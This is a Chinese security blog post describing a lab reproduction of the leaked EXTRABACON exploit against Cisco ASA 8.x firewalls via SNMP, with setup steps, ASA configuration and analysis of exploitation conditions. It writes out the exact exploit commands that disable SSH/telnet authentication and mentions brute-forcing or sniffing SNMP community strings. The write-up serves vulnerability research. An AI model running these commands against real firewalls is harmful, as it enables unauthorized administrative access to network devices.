Cisco SNMP RCE漏洞复现过程

2016-08-29 542397人围观 ,发现 29 个不明物体 漏洞

*本文原创作者:tahf,本文属FreeBuf原创奖励计划,未经许可禁止转载

NSA数据泄露后,很多大牛都给出了分析报告,让我受益匪浅。作为一名技术小白,想分享下分析\eqgrp-free-file\Firewall\EXPLOITS\EXBA的思路、搭建漏洞环境的过程和利用条件测试。本文具有极强的可操作性,请勿用于非法途径。由于个人技术水平有限,文中可能还有部分问题和错误,还请各位大牛批评指正,欢迎交流!

0×00 最初的线索和资源分享

获得泄露文件epgrp-free-file后,对Firewall\EXPLOITS\文件夹下的内容很感兴趣,但子文件夹名称对应的漏洞信息并不清楚。我们最关注的问题是这些漏洞利用工具的目标设备是什么,哪些版本受到漏洞影响,并且能否还原漏洞利用过程。对漏洞的成功复现是漏洞分析过程中非常重要的一步。

在分析过程中,注意到Firewall\SCRIPTS\目录下存有部分关于漏洞利用工具的相关说明。比如EXTRABACON.txt,含有对EXBA下extrabacon_1.1.0.1.py漏洞利用脚本的相关说明。

EXTRABACON.png

明确目标是Cisco的ASA,版本v8.0-v8.4。由于是SNMP漏洞,需要ASA防火墙开启SNMP服务。下一步我们需要搭建目标设备环境。由于手头上没有实物的ASA防火墙,所以我使用了基于VMware的ASA 8.42防火墙模拟器。为方便搭建环境,一并将资源和相关工具分享给大家。

ASA-8.42.rar(模拟ASA 5520,内含ASDM)

链接: https://pan.baidu.com/s/1dFzBqfv 密码: si9c

SecureCRT_win7.3.rar(C_R_T_7.3.rar) 解压密码:CRT7.3

链接: https://pan.baidu.com/s/1bp3Jfvp 密码: yaq2

named pipe tcp proxy.zip

链接: https://pan.baidu.com/s/1jIdMvpO 密码: riw6

0×01 搭建ASA环境

使用VMware Workstation加载ASA-8.4.2虚拟机。建议首先修改虚拟机的配置,将桥接模式的网卡改成NAT模式,方便与其它虚拟机组网。同时,请查看下串行端口是否配置,默认配置为\.\pipe\842。如果串口没有配置,可以点击添加串行端口,选择“输出到命名管道”。下一步按照下图配置即可。

asa_config_01.png

安装named pipe tcp proxy软件,并按照下图配置,功能是将串行端口命名管道数据转发到TCP端口上。

named_01.png

填入在ASA虚拟机配置的串行端口命名管道,Port选择一个本机没被占用的TCP端口。

安装SecureCRT软件并打开,新建一个Session,在协议中选择Telnet,点击下一步。

CRT_01.png

Hostname填入127.0.0.1,端口填入named Pipe Tcp Proxy中配置的端口,点击下一步。

CRT_02.png

Session Name任意填写,将作为一个标识,点击完成。

CRT_03.png

打开ASA-842虚拟机电源,稍等片刻后,双击刚配置好的Session Name,如果右侧终端显示ciscoasa>就说明前面的配置没有问题,现在相当是使用串口线连接ASA防火墙,下面开始配置ASA防火墙。该ASA镜像默认用户是netemu,密码和enable密码也是netemu。

ciscoasa>en
Password:******  (密码是netemu)
ciscoasa#show run          查看下现在的配置
……
interface GigabitEthernet0
 nameif inside
 security-level 100
 ip address 192.168.1.4 255.255.255.0 
……
http server enable
http 192.168.1.0 255.255.255.0 inside
no snmp-server location
no snmp-server contact
snmp-server enable traps snmp authentication linkup linkdown coldstart warmstart
……

主要目的是复现漏洞,因此只需要根据自己的网络环境做相应配置即可。如果对防火墙配置不熟悉,可以参考下面的配置命令。

配置IP地址,为inside区域:

ciscoasa# configure terminal 
ciscoasa(config)# interface GigabitEthernet0
ciscoasa(config-if)# ip address 10.0.27.250 255.255.255.0        (配置该网卡IP为10.0.27.250)
ciscoasa(config-if)# no shut
ciscoasa(config-if)# nameif inside

配置完成后,使用宿主机应该可以ping通10.0.27.250。

为方便大家配置ASA防火墙,该镜像中装载有ASDM 6.4.9,只需要把Web管理方式打开,就可以使用ASDM管理和配置ASA了。

PS:有些镜像是不带ASDM的,需要自己使用tftp把ASDM的bin文件上传。

配置http/https管理方式:

ciscoasa# configure terminal 
ciscoasa(config)# http server enable 
ciscoasa(config)# http 10.0.27.0 255.255.255.0 inside

然后使用浏览器访问https://10.0.27.250,界面如下:

asdm_01.png

点击Install ASDMlauncher,下载并安装msi文件,需要安装有JRE环境。安装完成后可以在C:\ProgramFiles (x86)\Cisco Systems\ASDM\下,双击asdm-launcher.jar启动ASDM客户端。输入IP、用户名和密码,即可登录防火墙管理界面。

asdm_02.png

asdm_03.png

ASA最最基本的配置已经完成,别忘了使用write memory命令来保存之前的配置,否则断电就白配置了。

0×02 漏洞复现

继续阅读EXTRABACON.txt文件。

EXTRABACON_01.png

根据该文件,目标防火墙需要开启22(ssh)或者23(telnet)管理端口,并且需要开启snmp-server。在确认目标防火墙22或者23端口开放后(通过端口扫描),我们可以使用extrabacon_1.1.0.1.py脚本的info参数对目标udp 161端口进行探测,并尝试获取需要的目标版本信息。

python extrabacon_1.1.0.1.py info -t 10.0.27.250 -c public

我们先来配置ssh和telnet管理方式,使ASA防火墙的22和23端口开放。

ssh管理配置:

ciscoasa# configure terminal 
ciscoasa(config)# crypto key generate rsa modulus 1024
INFO: The name for the keys will be: <Default-RSA-Key>
Keypair generation process begin. Please wait...
ciscoasa(config)# write memory
ciscoasa(config)# ssh 10.0.27.0 255.255.255.0 inside
ciscoasa(config)# aaa authentication ssh console LOCAL

telnet管理配置:

ciscoasa# configure terminal 
ciscoasa(config)# telnet 10.0.27.0 255.255.255.0 inside

配置完成后,可以使用putty以ssh或telnet的方式登陆防火墙,注意在未使用漏洞利用工具前登陆是需要输入用户名和密码的,输入enable后还需要输入enable密码。

asdm_04.png

也可以直接通过ASDM图形化界面完成上述配置,如上图。ssh和telnet配置完成后,我们先尝试使用extrabacon_1.1.0.1.py脚本探测下防火墙的udp 161端口。请直接把EXBA整个文件夹拷贝到Kali虚拟机中使用。

kali_01.png

wire_01.png

发送了一个snmp协议中get-request请求,version是v2c,但防火墙没有任何响应。

防火墙默认是没有开启snmp-server的,现在让我们配置下。

ciscoasa# configure terminal 
ciscoasa(config)# snmp-server host inside 10.0.27.133 community public

简单网络管理协议SNMP,ASA 支持的版本v1 v2c v3,所有的访问都必须认证。

v1和v2 版本是基于IP 地址和Community进行认证,而v3版本使用用户名和密码进行认证。

如果有兴趣深入了解,可参考http://www.cnblogs.com/xdp-gacl/p/3978825.html

asdm_05.png

上面输入的snmp-server host inside 10.0.27.133 community public配置命令,反映在ASDM图形化管理界面上如上图所示,也可以直接使用ASDM配置snmp-server。在extrabacon_1.1.0.1.py脚本中可以看到其支持的协议版本(only v2c),而v1和v2的认证是基于IP和Community,由于extrabacon_1.1.0.1.py脚本在Kali上运行,需要将host inside后面的IP设置为Kali虚拟机的IP地址,community相当于认证使用的密码,这里设置为public。snmp-server配置完成后,我们再使用脚本的info参数探测下ASA的udp 161端口。

python extrabacon_1.1.0.1.py info -t 10.0.27.250 -c public

kali_03.png

wire_02.png

这次ASA给出了响应包,get-response数据包中包含了ASA的版本及hostname。同时漏洞利用脚本回显的最后几行给出了下一步需要执行的命令。—mode pass-disable的参数反映出该利用工具预期达到的效果,关闭防火墙对telnet或者ssh管理方式的认证,允许攻击者通过连接不需要验证的管理接口进行未授权操作。

新产生的/EXBA/keys/LZueXn.key文件,只是用来标识目标防火墙版本。

EXTRABACON_03.png

利用脚本会根据key文件中的版本在/EXBA/version/目录下选择对应的shellcode,来生成payload数据包。

EXTRABACON_04.png

复现漏洞的时刻到了!

python extrabacon_1.1.0.1.py exec -k LZUeXn -t 10.0.27.250 -c public --mode pass-disable
python extrabacon_1.1.0.1.py exec -t 10.0.27.250 -c public --mode pass-disable
如果不加参数-k,脚本将首先自动进行info探测,获取目标版本信息后,再进行漏洞利用。

kali_04.png

kali_05.png

wire_03.png

从key文件读取版本,选择对应版本shellcode,生成snmp协议的getBulkRequest请求数据包并发送。脚本执行成功后,使用putty以ssh或telnet的方式登陆下ASA防火墙,使用任意用户名和密码。并输入enable,密码任意,可以进行未授权操作,漏洞利用成功。

putty_01.pngputty_02.png

如果需要恢复认证,可以执行:

python extrabacon_1.1.0.1.py exec -k LZUeXn -t 10.0.27.250 -c public --mode pass-enable

0×03 利用条件测试

漏洞复现的环境搭建工作到此基本结束,但我继续做了下面的部分测试,来探讨该漏洞的利用条件。

因为在漏洞脚本利用前,我使用ASDM管理ASA,并且在漏洞利用全过程中没有断开ASDM的连接。在成功执行–mode pass-disable后,我在snmp配置界面做了一些更改,但点击Apply后发现报错,无法对snmp界面的Host Access List进行任何修改,见下图。同时尝试在其它配置面板对ASA更改其它配置,依然报错,已无法使用ASDM对ASA进行配置。

asdm_06.png

将ASDM退出后,再次连接ASA,登陆时再次报错,见下图,此时已无法使用ASDM连接ASA。

asdm_07.png

根据报错信息,怀疑漏洞利用的shellcode对privilege level进行了修改,还需要进一步验证。

只有再次利用脚本执行–mode pass-enable恢复认证后,才能使用ASDM管理ASA。可以预见的是,如果管理员正在使用ASDM配置管理ASA防火墙,利用该漏洞攻击是非常容易暴露的。

由于snmp v2版本是基于IP和Community字符串认证的,使该漏洞的利用条件变的比较苛刻。先来看基于IP的认证。

ciscoasa(config)#snmp-server host inside 10.0.27.133 community public

通过ASDM配置snmp服务时,Host Access Entry中的IP Address会进行合法性检查,只能填入单个IP。

asdm_08.png

如果该IP与发送snmp请求包的IP地址不符,snmp服务将不予响应。经过测试,IP不符的情况下,漏洞利用脚本无法获取目标版本信息,强行指定版本进行漏洞利用也无法成功。下图是发送的版本信息探测数据包和payload数据包,ASA snmp服务均没有任何响应。

wire_04.pngwire_05.png

在理想条件下,假设执行漏洞利用脚本的主机恰好在snmp的Host Access Entry列表中,那么还将面临Community的认证。如果配置snmp-server的Community事先不知道,或者不是大家常用的public这种。漏洞利用脚本的-c参数将很难填写。经过测试,在-c参数后面的Community与ASA snmp-server配置的Community不符合的情况下,漏洞利用工具将无法获得目标版本信息,漏洞无法成功利用。当然,可以尝试爆破snmp的Community。也可以利用v1,v2协议数据没有经过加密处理而对网络进行嗅探。

综上所述,该漏洞成功利用的条件如下:

1、目标防火墙开启22(ssh)或23(telnet)管理方式
2、目标配置了snmp服务。并且snmp配置中的Host Access Entry IP地址和Community字符串能够获得或者已知。
3、目标版本在8.X-8.4.4之间。
请考虑管理员是否正在使用ASDM对防火墙进行管理和配置。

手里还有FGT-VM-4.00-FW-build521的环境,下一步想分析Exploits\EGBL\目录。作为一名技术小白,编写本文的目的就是抛砖引玉,希望能交流更细节的东西,也想帮助大家尽快搭建起ASA的测试环境,便于进一步漏洞的分析。期待与大家一起交流学习,共同进步!

*本文原创作者:tahf,本文属FreeBuf原创奖励计划,未经许可禁止转载

这些评论亮了

  • scz (1级) 回复
    感谢楼主分享,算是最近这拔方程式出来之后,我最喜欢看的一篇。
    )14( 亮了
  • cwg2552298 (6级) Follow my own course 回复
    一个个大牛自称 小白,叫我这个小白 怎么办 :eek:
    )6( 亮了
发表评论

已有 30 条评论

取消
Loading...
css.php